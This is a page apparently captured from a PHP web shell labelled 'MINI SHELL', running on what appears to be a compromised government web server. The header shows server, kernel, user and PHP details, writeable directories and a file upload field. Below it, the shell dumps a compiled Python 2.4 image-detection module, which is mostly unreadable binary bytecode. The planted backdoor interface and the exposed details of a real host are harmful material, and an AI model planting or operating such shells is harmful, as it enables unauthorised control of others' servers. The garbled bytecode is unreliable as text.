MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/lib/python2.4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/lib/python2.4/imghdr.pyo
mò
Ï=Ec@s)dZdgZdd„ZgZd„Zeieƒd„Zeieƒd„Zeieƒd„Z	eie	ƒd„Z
eie
ƒd„Zeieƒd	„Zeieƒd
„Z
eie
ƒd„Zeieƒd„Zeieƒd
„Zeieƒd„Zd„ZdS(s<Recognize image file formats based on their first few bytes.twhatcCsÐ|djomt|ƒtdƒjo"t|dƒ}|idƒ}q€|iƒ}|idƒ}|i	|ƒd}nd}z3x,t
D]$}|||ƒ}|o|SqŠqŠWWd|o|i
ƒnXdS(Nttrbi (thtNonettypetfiletopentftreadttelltlocationtseektteststtftrestclose(RRRRRR((t/usr/lib/python2.4/imghdr.pyR	s&


cCs|d djodSndS(sSGI image libraryisÚtrgbN(R(RR((Rttest_rgb%scCs|d djodSndS(sGIF ('87 and '89 variants)itGIF87atGIF89atgifN(RR(R(RR((Rttest_gif,scCsRt|ƒdjo;|ddjo*|ddjo|ddjodSnd	S(
sPBM (portable bitmap)iitPit14is 	

tpbmN(tlenR(RR((Rttest_pbm3sFcCsRt|ƒdjo;|ddjo*|ddjo|ddjodSnd	S(
sPGM (portable graymap)iiRit25is 	

tpgmN(RR(RR((Rttest_pgm;sFcCsRt|ƒdjo;|ddjo*|ddjo|ddjodSnd	S(
sPPM (portable pixmap)iiRit36is 	

tppmN(RR(RR((Rttest_ppmCsFcCs|d djodSndS(s-TIFF (can be in Motorola or Intel byte order)itMMtIIttiffN(R#R$(R(RR((Rt	test_tiffKscCs|d djodSndS(sSun raster fileisY¦j•trastN(R(RR((Rt	test_rastRscCs)d}|t|ƒ |jodSndS(sX bitmap (X10 or X11)s#define txbmN(tsRR(RRR*((Rttest_xbmYscCs |dd!djodSndS(sJPEG data in JFIF formatii
tJFIFtjpegN(R(RR((Rt	test_jpegascCs|d djodSndS(NitBMtbmp(R(RR((Rttest_bmphscCs|d djodSndS(Nis‰PNG

tpng(R(RR((Rttest_pngnscCs¿dk}d}|ido+|iddjo|idd5d}ny@|idot|id|dƒntdg|dƒWn0tj
o$|iidƒ|idƒnXdS(Niis-rit.s
[Interrupted]
(tsyst	recursivetargvttestalltKeyboardInterrupttstderrtwritetexit(R5R6((Rttestxs	"

cCsØdk}dk}x¿|D]·}|ii|ƒo_|dG|p|o@dGHdk}|i|ii	|dƒƒ}t||dƒqÐdGHq|dG|ii
ƒyt|ƒGHWqtj
odGHqXqWdS(Ns/:srecursing down:t*is*** directory (use -r) ***t:s*** not found ***(R5tostlisttfilenametpathtisdirR6ttopleveltglobtjointnamesR8tstdouttflushRtIOError(RAR6RERFRBR5RHR@((RR8‡s$				
N(t__doc__t__all__RRR
RtappendRRRR"R&R(R+R.R1R3R=R8(RR&RMR(R"R
RR3R8R=R1RRR.R+R((Rt?s6		
	
	
	
	
	
	
	
	
	
	
	

Anon7 - 2021